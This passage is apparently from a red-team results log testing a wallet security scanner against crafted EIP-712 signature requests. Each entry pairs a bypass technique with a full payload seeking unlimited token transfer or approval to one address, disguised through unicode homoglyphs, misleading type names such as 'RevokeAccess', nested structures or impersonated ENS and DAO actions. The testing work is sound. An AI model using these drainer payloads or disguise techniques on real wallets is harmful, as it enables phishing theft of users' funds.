Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x19f0f879f6a5e83d10e0b2349bc36004e01821ed12f9d7d03a3484cb98f09ce3\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "RUN1-EIP3009-055", "timestamp": "2026-01-31T15:54:56.147Z", "technique": "EIP-3009 superscript", "category": "eip3009", "description": "EIP-3009 with unicode superscript \"²\" instead of \"2\"", "expectedBypass": "Superscript 2 looks like regular 2", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"²\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x37f94dc4ef5bee358ba336142127d2376c04f4e9396ac0f60d46be5e435ab6c5\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-056", "timestamp": "2026-01-31T15:55:03.566Z", "technique": "EIP-3009 fullwidth", "category": "eip3009", "description": "EIP-3009 with fullwidth unicode characters", "expectedBypass": "Fullwidth chars look similar but different codepoints", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"ＵＳＤ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x8d6e977925fcf76d3ce269101ba8942fb93ae5707973303426a559b523fb0d3a\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-057", "timestamp": "2026-01-31T15:55:10.990Z", "technique": "EIP-3009 combining marks", "category": "eip3009", "description": "EIP-3009 with invisible combining marks in name", "expectedBypass": "Combining marks are invisible but change hash", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD̀ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xe832378fbb758378b5f26152c7f6c9cc1c4bb56c91967bf2a84c0dbad353256c\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-058", "timestamp": "2026-01-31T15:55:20.795Z", "technique": "EIP-3009 zero-width joiner", "category": "eip3009", "description": "EIP-3009 with zero-width joiner characters", "expectedBypass": "ZWJ is invisible but present in string", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD‍Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x849500b6c56385fa81bdf8506753cd94772fcb5a339a02fcee9c4af720f3f32c\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-059", "timestamp": "2026-01-31T15:55:28.228Z", "technique": "EIP-3009 mixed encoding", "category": "eip3009", "description": "EIP-3009 with inconsistent encoding across fields", "expectedBypass": "Mixed encoding might cause parsing issues", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":\"0x1\",\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xDE0B6B3A7640000\",\"validAfter\":0,\"validBefore\":\"1893456000\",\"nonce\":\"0x8994d45181c950e24a123667e7d20b67f80235e6aefe73d964adee87676bde21\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-060", "timestamp": "2026-01-31T15:55:35.666Z", "technique": "EIP-3009 year 2100", "category": "eip3009", "description": "EIP-3009 valid until year 2100", "expectedBypass": "Far future date might not trigger alerts", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0x00db465ee2f4918eea96fb16b82c13d807e8f1d89893772c1a79330254e869f8\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-061", "timestamp": "2026-01-31T15:55:45.609Z", "technique": "EIP-3009 escaped unicode", "category": "eip3009", "description": "EIP-3009 with \\u0000 style escaped chars in name", "expectedBypass": "Escaped unicode might be double-processed", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\\\u0020Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xabe2d41390839217b69fee0663cfb87b809d12b17b8362d3d43f99b851e739f3\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-062", "timestamp": "2026-01-31T15:55:53.193Z", "technique": "EIP-3009 WBTC token", "category": "eip3009", "description": "EIP-3009 TransferWithAuthorization on WBTC", "expectedBypass": "High value token might have different detection", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"Wrapped BTC\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xc998f40da311d474fdfabbf40fb62c1653d65f5b928ab2709854eb65802180e4\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T15:56:00.623Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T15:56:09.924Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T15:56:19.075Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T15:56:28.233Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T15:56:37.407Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T15:56:46.559Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T15:56:55.707Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T15:57:05.029Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T15:57:14.187Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T15:57:23.333Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T15:57:32.488Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", 